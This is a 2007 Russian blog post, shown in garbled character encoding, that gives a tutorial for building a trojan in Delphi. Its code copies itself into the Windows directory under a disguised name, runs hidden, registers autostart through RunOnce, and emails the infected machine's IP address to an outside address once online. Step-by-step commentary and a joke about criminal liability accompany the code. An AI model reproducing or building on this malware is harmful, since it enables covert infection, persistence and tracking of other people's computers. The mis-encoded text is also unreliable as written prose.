-íåèçâåñòíî

 -íåèçâåñòíî

 -Ïîèñê ïî äíåâíèêó

Ïîèñê ñîîáùåíèé â thobit

 -Ïîäïèñêà ïî e-mail

 

 -Ñòàòèñòèêà

Ñòàòèñòèêà LiveInternet.ru: ïîêàçàíî êîëè÷åñòâî õèòîâ è ïîñåòèòåëåé
Ñîçäàí: 25.07.2007
Çàïèñåé: 63
Êîììåíòàðèåâ: 8
Íàïèñàíî: 122


Áëÿÿÿÿÿ ïðèâåò âñåì áðàòüÿì !!!

Ñóááîòà, 18 Àâãóñòà 2007 ã. 03:58 + â öèòàòíèê

ÑÎÇÄÀÍÈÅ ÒÐÎßÍÀ ÍÀ DELPHI 4.0


Ñåãîäíÿ ìû ðàññìîòðèì êàê ñäåëàòü ïðîñòåíüêîãî òðîÿíà íà Delphi. Êòî-òî ñïðîñèò: "à çà÷åì ýòî íàäî? èõ è òàê äî õðåíà.." âîò ïîýòîìó è íàäî, ÷òî èõ äîõðåíà è áîëüøèíñòâî äåëàåò íå òî ÷òî íàäî. Èòàê, ïðèñòóïèì: ñíà÷àëà ñäåëàåì ïðîñòåíüêèé òðîÿí, à ïîòîì áóäåì íàðàùèâàòü åãî ôóíêöèîíàëüíîñòü.
Ïîêà ÷òî äëÿ ñîçäàíèÿ òðîÿíà áóäåì ïîëüçîâàòüñÿ ñòàíäàðòíûìè êîìïîíåíòàìè Delphi è íàâåñíûìè, êîòîðûå ìîæíî ñâîáîäíî ñêà÷àòü. Äà è åùå, äåëüôè íóæíà 2, 3 èëè 4-ÿ, ëþáèòåëåé 5-îé îáëîìàþ - îíà áîëüíî ãëþ÷íàÿ. Íó ÷òîæ, ïðèñòóïèì, äëÿ íà÷àëà ñîçäàäèì ôîðìó (êòî óìååò áåç ôîðì - áóäåì áåç ôîðì).
Íàêèäàåì íà ôîðìó: TRaylightAutostart, TOnlineIP, TNMSMTP. Ïîêà õâàòèò, ïîòîì åùå äîáàâèì åæåëè ÷òî :-). Â OnCreate ôîðìû ïèõàåì ñëåäóþùåå:

var WinPath : array [0..255] of char;
CurPath : String;
begin
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
If pos(WinPath, CurPath) <> 0 then
With Start1 do
begin
AppName := 'IntraNet';
StartNextLogon := True;
end
else
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;
end;

×òî ýòî âñ¸ äåëàåò:
var WinPath : array [0..255] of char;
CurPath : String;
Îáúÿâëåíèå ïåðåìåííûõ. WinPatháóäåì èñïîëüçîâàòü äëÿ êàòàëîãà âèíäû,
à CurPathäëÿ òåêóùåãî êàòàëîãà.
CurPath := ExtractFilePath(ParamStr(0));
GetWindowsDirectory(WinPath,255);
Çàïîëíÿåì ïåðåìåííûå, íàäåþñü ýòè ôóíêöèè â çíàåòå, åæåëè íåò, òî âàì
ïðÿìàÿ äîðîãà â õåëïû.
If pos(WinPath, CurPath) <> 0 then
Åñëè íàø ôàéë â êàòàëîãå âèíäû, òî

With RayLightAutostart1 do
begin
AppName := 'IntraNet';

Êàê çàðåãåñòðèðóåìñÿ â ðååñòðå, òî áèø êàê íàçîâåìñÿ, à íàçàâåìñÿ "Intranet"
- ÷òî òî çíàêîìîå, à ÷òî äåëàåò íå ïîìíèì :-).
StartNextLogon := True;
Çàïóñêàòüñÿ ïðè ñëåäóþùåì ñòàðòå âèíäû - äà. Òî åñòü òåïåðü ïðè ïåðåçàãðóçêå
âèíäû ìû çàïóñòèìñÿ è ïðîïèñü â ðååñòðå áóäåò â íåñîâñåì îáû÷íîì ìåñòå, à
èìåííî â RunOnce, à íå â Run.
end
else
Åæåëè ôàéë íå â êàòàëîãå âèíäû, òî èäåì ñþäà è êîïèðóåì åãî â êàòàëîã ñ
âèíäàìè, à ïîòîì ñàìè ñåáÿ çàïóñêàåì è çàêðûâàåìñÿ... èëè âî âñÿêîì ñëó÷àå
ïûòàåìñÿ :-).
begin
CopyFile(@(ParamStr(0))[1],@(WinPath+'\intranet.exe')[1],false);
WinExec(@(WinPath+'\intranet.exe')[1],sw_Hide);
close;
end;

Íó ÷òîæ, ïðîöåäóðó àâòîçàïóñêà ìû ñîòâîðèëè, òåïåðü âèðü êàæäûé ðàç ïðè çàïóñêå ìàøèíû áóäåò ñàì ñåáÿ èíèöèàëèçèðîâàòü, à ïðè çàïóñêå èç êàòàëîãà îòëè÷íîãî îò âèíäîâ, ìû ñàìè ñåáÿ ñêîïèðóåì.
Òåïåðü íàì ïðè âûõîäå êîìïà â èíåò íàäî ïîñëàòü ïèñüìî, òàê? íó ÷òîæ, òàê è ñäåëàåì.Cëåäóþùòé êîä ñòàâèì â ñîáûòèå OnChangeó OnlineIP:
If not OnlineIP1.Online then exit;
åñëè ìû íå â ñåòè, òî âûõîäèì èç ïðîöåäóðû
NmSMTP1.Connect;
Êîííåêòèìñÿ SMTP êëèåíòîì ê ñåðâåðó (SMTP)
if NMSMTP1.Connected then
Åñëè ïîäêîííåêòèëèñü, òî

begin
NMSMTP1.SubType := mtPlain;
Òèï ïèñüìà: îáû÷íûé òåêñò
NMSMTP1.PostMessage.FromAddress := '';
Îò êîãî ïèñüìî èäåò (àäðåñ)
NMSMTP1.PostMessage.FromName := 'First Thojan';
Îò êîãî èäåò ïèñüìî (èìÿ)
NMSMTP1.PostMessage.ToAddress.Text := '30005554@icq.com';
Íà êàêîé àäðåññ øëåì ïèñüìî
NMSMTP1.PostMessage.Body.Text := 'Ip:'+OnlineIp1.IP;
×òî áóäêò â òåëå ïèñüìà. Ó íàñ ïðîñòî áóäåò IP ìàøèíû (ïîêà ÷òî)
NMSMTP1.PostMessage.Subject := 'Server is online';
È íàêîíåö, êàêàÿ òåìà ó ïèñüìà
NMSMTP1.SendMail;
È âîò íàøå ïèñüìî òþòþ :-).
end;

P.S. ×òè ÓÊ ÐÑÔÑÐ, êàê ÷òó åãî ÿ! Íàïèñàíèå âèðóñîâ, íàâåðíîå, íàêàçóåìî ïî ñòàòüå 273. È åñëè òû ïðèäåøü â îòäåëåíèå ìèëèöèè â ìàéêå ñ èñõîäíûì òåêñòîì ñâîåãî âèðóñà, îáâåøàííûì äèñêåòàìè ñ íèì æå è ÷èñòîñåðäå÷íî âî âñåì ïðèçíàåøüñÿ, òåáÿ ïîñàäÿò. Íà 15 ñóòîê, çà õóëèãàíñòâî è íàðóøåíèå îáùåñòâåííîãî ïîðÿäêà!

3 (101x80, 35Kb)

 

Äîáàâèòü êîììåíòàðèé:
Òåêñò êîììåíòàðèÿ: ñìàéëèêè

Ïðîâåðêà îðôîãðàôèè: (íàéòè îøèáêè)

Ïðèêðåïèòü êàðòèíêó:

 Ïåðåâîäèòü URL â ññûëêó
 Ïîäïèñàòüñÿ íà êîììåíòàðèè
 Ïîäïèñàòü êàðòèíêó